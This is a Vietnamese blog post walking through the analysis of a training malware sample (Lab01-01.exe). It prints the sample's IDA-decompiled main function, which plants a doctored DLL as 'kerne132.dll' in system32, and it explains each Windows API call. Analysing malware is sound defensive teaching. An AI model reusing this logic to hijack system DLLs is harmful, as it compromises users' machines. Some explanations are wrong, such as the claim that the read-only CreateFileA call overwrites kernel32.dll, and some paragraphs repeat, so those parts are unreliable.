1. Nhận dạng
Quăng con này lên virustotal:
https://www.virustotal.com/en/file/58898bd42c5bd3bf9b1389f0eee5b39cd59180e8370eb9ea838a0b327bd6fe47/analysis/
KQ:
Không tệ: 1/44 AV báo malware
SHA256: 58898bd42c5bd3bf9b1389f0eee5b39cd59180e8370eb9ea838a0b327bd6fe47 File name: Lab01-01.exe Detection ratio: 1 / 44
Ngày compile là Sunday, January 08, 2012, 02:19:04 AM
Compiler là: Microsoft Visual C++ 6.0 và không sử dụng packer
SHA: 58898bd42c5bd3bf9b1389f0eee5b39cd59180e8370eb9ea838a0b327bd6fe47
2. Phân tích
Lab01-01.exe import 2 DLL là kernel.dll và MSVCRT.dll
Ta sẽ decompiler hàm main trước
int __cdecl main(int argc, const char **argv, const char **envp) { HANDLE v3; // eax@3 HANDLE v4; // eax@3 LPVOID v5; // eax@3 int v6; // esi@3 HANDLE v7; // eax@3 HANDLE v8; // eax@5 int v9; // ebp@7 int v10; // edi@9 int v11; // eax@9 int v12; // esi@9 int v13; // ebx@9 int v14; // ebp@9 int v15; // eax@9 unsigned int v16; // edi@9 int v17; // eax@9 int v18; // ecx@9 int v19; // edx@9 int v20; // esi@9 int v21; // edi@9 int v22; // ebx@9 int v23; // eax@9 int v24; // ecx@9 unsigned int v25; // edx@9 int v26; // ebp@12 int v27; // edx@14 void *v28; // ebx@14 void *v29; // eax@14 int v30; // ecx@14 unsigned int v31; // kr14_4@14 bool v32; // cf@15 int v34; // [sp+10h] [bp-44h]@12 int v35; // [sp+14h] [bp-40h]@12 int *v36; // [sp+18h] [bp-3Ch]@12 int v37; // [sp+1Ch] [bp-38h]@9 int v38; // [sp+20h] [bp-34h]@9 int v39; // [sp+24h] [bp-30h]@9 int v40; // [sp+28h] [bp-2Ch]@11 unsigned int v41; // [sp+2Ch] [bp-28h]@9 int v42; // [sp+30h] [bp-24h]@9 int v43; // [sp+34h] [bp-20h]@9 int v44; // [sp+38h] [bp-1Ch]@9 int v45; // [sp+3Ch] [bp-18h]@9 int v46; // [sp+40h] [bp-14h]@12 int v47; // [sp+44h] [bp-10h]@9 int v48; // [sp+48h] [bp-Ch]@9 void *hObject; // [sp+4Ch] [bp-8h]@3 void *v50; // [sp+50h] [bp-4h]@3 int argca; // [sp+58h] [bp+4h]@3 int argva; // [sp+5Ch] [bp+8h]@7 int argvb; // [sp+5Ch] [bp+8h]@9 if ( argc == 2 && !strcmp(argv[1], "WARNING_THIS_WILL_DESTROY_YOUR_MACHINE") ) { v3 = CreateFileA("C:\\Windows\\System32\\Kernel32.dll", 0x80000000u, 1u, 0, 3u, 0, 0); hObject = v3; v4 = CreateFileMappingA(v3, 0, 2u, 0, 0, 0); v5 = MapViewOfFile(v4, 4u, 0, 0, 0); v6 = (int)v5; argca = (int)v5; v7 = CreateFileA("Lab01-01.dll", 0x10000000u, 1u, 0, 3u, 0, 0); v50 = v7; if ( v7 == (HANDLE)-1 ) exit(0); v8 = CreateFileMappingA(v7, 0, 4u, 0, 0, 0); if ( v8 == (HANDLE)-1 ) exit(0); v9 = (int)MapViewOfFile(v8, 0xF001Fu, 0, 0, 0); argva = v9; if ( !v9 ) exit(0); v44 = v6 + *(_DWORD *)(v6 + 60); v10 = v6 + *(_DWORD *)(v6 + 60); v11 = sub_401040(*(_DWORD *)(v10 + 120), v10, v6); v12 = v9 + *(_DWORD *)(v9 + 60); v13 = v11; v39 = v11; v14 = sub_401040(*(_DWORD *)(v12 + 120), v12, v9); v37 = sub_401040(*(_DWORD *)(v13 + 28), v10, argca); v43 = sub_401040(*(_DWORD *)(v13 + 36), v10, argca); v15 = sub_401040(*(_DWORD *)(v13 + 32), v10, argca); v16 = *(_DWORD *)(v12 + 124); v42 = v15; v17 = sub_401070(*(_DWORD *)(v12 + 120), v12, argva); memcpy((void *)v14, (const void *)v13, 4 * (v16 >> 2)); v45 = v17; memcpy((void *)(v14 + 4 * (v16 >> 2)), (const void *)(v13 + 4 * (v16 >> 2)), v16 & 3); v18 = *(_DWORD *)(v13 + 20); *(_DWORD *)(v14 + 20) = v18; *(_DWORD *)(v14 + 24) = *(_DWORD *)(v13 + 24); *(_DWORD *)(v14 + 12) = v14 + 40 + v17; v38 = v14 + 56; *(_DWORD *)(v14 + 40) = dword_403010; *(_DWORD *)(v14 + 44) = dword_403014; *(_DWORD *)(v14 + 48) = dword_403018; *(_DWORD *)(v14 + 52) = dword_40301C; v19 = *(_DWORD *)(v14 + 20); v20 = v14 + 56 + 4 * v19; v21 = v14 + 56 + 8 * v19; v48 = v14 + 56 + 4 * v19; v47 = v14 + 56 + 8 * v19; v22 = 16 * v18 + v14 + 56; *(_DWORD *)(v14 + 28) = v14 + 56 + v17; *(_DWORD *)(v14 + 36) = v20 + v17; *(_DWORD *)(v14 + 32) = v21 + v17; v23 = v39; v24 = 0; v25 = 0; argvb = 0; v41 = 0; if ( *(_DWORD *)(v39 + 20) ) { do { if ( *(_DWORD *)v37 ) { v40 = 0; if ( *(_DWORD *)(v23 + 24) ) { v26 = v38 + 4 * v24; v34 = v20 + 2 * v24; v36 = (int *)v42; v35 = v43; v46 = v21 - v38; do { if ( *(_WORD *)v35 == v25 ) { v27 = sub_401040(*v36, v44, argca); memcpy((void *)v22, (const void *)v27, strlen((const char *)v27) + 1); *(_WORD *)v34 = argvb; *(_DWORD *)(v46 + v26) = v22 + v45; v28 = (void *)(v22 + strlen((const char *)v27) + 1); v29 = v28; v30 = (int)((char *)v28 + v45); v28 = (char *)v28 + 9; *(_DWORD *)v26 = v30; *(_DWORD *)v29 = dword_403070; *((_DWORD *)v29 + 1) = dword_403074; *((_BYTE *)v29 + 8) = byte_403078; memcpy(v28, (const void *)v27, strlen((const char *)v27) + 1); v31 = strlen((const char *)v27) + 1; v23 = v39; ++argvb; v25 = v41; v22 = (int)((char *)v28 + v31); v26 += 4; v34 += 2; } v35 += 2; v32 = (unsigned int)(v40++ + 1) < *(_DWORD *)(v23 + 24); ++v36; } while ( v32 ); v24 = argvb; v21 = v47; v20 = v48; } } ++v25; v41 = v25; v37 += 4; } while ( v25 < *(_DWORD *)(v23 + 20) ); } CloseHandle(hObject); CloseHandle(v50); if ( !CopyFileA("Lab01-01.dll", "C:\\windows\\system32\\kerne132.dll", 0) ) exit(0); sub_4011E0("C:\\*", 0); } return 0; }
Lưu ý khi làm việc với IDA:
- 0x80000000u thì 0x80000000 là số hex, còn u là unsigned (số không dấu)
- Khi bạn gặp 1 hàm CreateFileA hay CreateFileW thì kí tự A nghĩa là ANSI và W nghĩa là Unicode
Mình demo ví dụ ở đây: http://blog.phuongnam.org/2013/05/lay-hardware-id-bang-c.html
- 0x80000000u thì 0x80000000 là số hex, còn u là unsigned (số không dấu)
- Khi bạn gặp 1 hàm CreateFileA hay CreateFileW thì kí tự A nghĩa là ANSI và W nghĩa là Unicode
Mình demo ví dụ ở đây: http://blog.phuongnam.org/2013/05/lay-hardware-id-bang-c.html
Ok, ta sẽ phân tích từng dòng quan trọng:
***********************************************************************
HANDLE v3; // eax@3
v3 = CreateFileA("C:\\Windows\\System32\\Kernel32.dll", 0x80000000u, 1u, 0, 3u, 0, 0);
Chúng ta có thể lấy thông tin hàm CreateFileA ở trong thư viện MSDN của microsoft
* Lưu ý: khi bạn tìm kiếm hàm thì chỉ gõ CreateFile chứ đừng ghi thêm hậu tố "A" hay "W" đằng sau, MSDN sẽ không hiểu
HANDLE WINAPI CreateFile(
_In_ LPCTSTR lpFileName,
_In_ DWORD dwDesiredAccess,
_In_ DWORD dwShareMode,
_In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,
_In_ DWORD dwCreationDisposition,
_In_ DWORD dwFlagsAndAttributes,
_In_opt_ HANDLE hTemplateFile
);
Tham số lpFileName: "C:\\Windows\\System32\\Kernel32.dll" là đường dẫn và tên file cần tạo
Tham số dwDesiredAccess: 0x80000000u = FILE_READ_ATTRIBUTES (file này có thuộc tính chỉ đọc)
Tham số dwShareMode: 1u = FILE_SHARE_READ
Tham số lpSecurityAttributes: tham số này bằng NULL thì ta không cần xét thêm
Tham số dwCreationDisposition: 3u = OPEN_EXISTING (nếu như file không tồn tại sẽ báo lỗi, chắc chắn là không báo rồi vì kernel32.dll là core của windows mà)
Tham số 6 và 7 là NULL
Tóm lại là hàm này sẽ ghi đè dữ liệu lên file kernel32.dll
Sau khi thực thi hàm sẽ trả về kết quả, ghi thành công hay thất bại
Chúng ta có thể kiểm tra việc ghi file bằng GetLastError xem thành công không
******************************************************************************
HANDLE v4; // eax@3
HANDLE v4; // eax@3
v4 = CreateFileMappingA(v3, 0, 2u, 0, 0, 0);
MSDN: http://msdn.microsoft.com/en-us/library/windows/desktop/aa366537(v=vs.85).aspx
Hàm CreateFileMapping dùng để tạo hay mở 1 tập tin mapping object cho 1 tập tin được chỉ định, tập tin được chỉ định ở đây là kernel32.dll như chúng ta đã biếtTham số hFile: v3 sẽ trỏ về kểu tập tin kernel32.dll đã được tạo tại hàm CreateFile
Tham số lpAttributes: tham số này trỏ về ECURITY_ATTRIBUTES structure sẽ chỉ định đặc tả bảo mật cho tập tin mới (được tạo hoặc mở). Tham số lpAttributes là NULL thì nó sẽ chỉ định đặc tả bảo mật mặc định
Tham số flProtect: chỉ định page protection của đối tượng file mapping. Tham số được gán 2u (0x02) là PAGE_READONLY (chỉ đọc)
Tham số dwMaximumSizeHigh: là Kích cỡ cao nhất mà đối tượng file mapping có thể đạt đến, tham số này bằng 0 nghĩa là kích cỡ của đối tượng file mapping sẽ bằng với kích cỡ của hFile hiện tại (kernel32.dll)
Tham số dwMaximumSizeLow: là kích cỡ thấp nhất của đối tượng file mapping, tham số này thường là 0
Tham số lpName: tên của tập tin mapping object, tham số này bằng 0 nghĩa là file sẽ được tạo k có tên
HANDLE WINAPI CreateFileMapping(
_In_ HANDLE hFile,
_In_opt_ LPSECURITY_ATTRIBUTES lpAttributes,
_In_ DWORD flProtect,
_In_ DWORD dwMaximumSizeHigh,
_In_ DWORD dwMaximumSizeLow,
_In_opt_ LPCTSTR lpName
);
Creates or opens a named or unnamed file mapping object for a specified file.Thuật ngữ File Mapping có thể tìm thấy tại: http://msdn.microsoft.com/en-us/library/windows/desktop/aa366556(v=vs.85).aspx
File mapping is the association of a file's contents with a portion of the virtual address space of a process. The system creates a file mapping object (also known as a section object) to maintain this association. A file view is the portion of virtual address space that a process uses to access the file's contents. File mapping allows the process to use both random input and output (I/O) and sequential I/O. It also allows the process to work efficiently with a large data file, such as a database, without having to map the whole file into memory. Multiple processes can also use memory-mapped files to share data.
Hàm CreateFileMapping dùng để tạo hay mở 1 tập tin mapping object cho 1 tập tin được chỉ định, tập tin được chỉ định ở đây là kernel32.dll như chúng ta đã biết
Tham số lpAttributes: tham số này trỏ về ECURITY_ATTRIBUTES structure sẽ chỉ định đặc tả bảo mật cho tập tin mới (được tạo hoặc mở). Tham số lpAttributes là NULL thì nó sẽ chỉ định đặc tả bảo mật mặc định
Tham số flProtect: chỉ định page protection của đối tượng file mapping. Tham số được gán 2u (0x02) là PAGE_READONLY (chỉ đọc)
Tham số dwMaximumSizeHigh: là Kích cỡ cao nhất mà đối tượng file mapping có thể đạt đến, tham số này bằng 0 nghĩa là kích cỡ của đối tượng file mapping sẽ bằng với kích cỡ của hFile hiện tại (kernel32.dll)
Tham số dwMaximumSizeLow: là kích cỡ thấp nhất của đối tượng file mapping, tham số này thường là 0
Tham số lpName: tên của tập tin mapping object, tham số này bằng 0 nghĩa là file sẽ được tạo k có tên
*****************************************************************************
LPVOID v5; // eax@3
v5 = MapViewOfFile(v4, 4u, 0, 0, 0);MSDN: http://msdn.microsoft.com/en-us/library/windows/desktop/aa366761(v=vs.85).aspx
Maps a view of a file mapping into the address space of a calling process.
LPVOID WINAPI MapViewOfFile(
_In_ HANDLE hFileMappingObject,
_In_ DWORD dwDesiredAccess,
_In_ DWORD dwFileOffsetHigh,
_In_ DWORD dwFileOffsetLow,
_In_ SIZE_T dwNumberOfBytesToMap
);
(Còn tiếp)

0 nhận xét:
Đăng nhận xét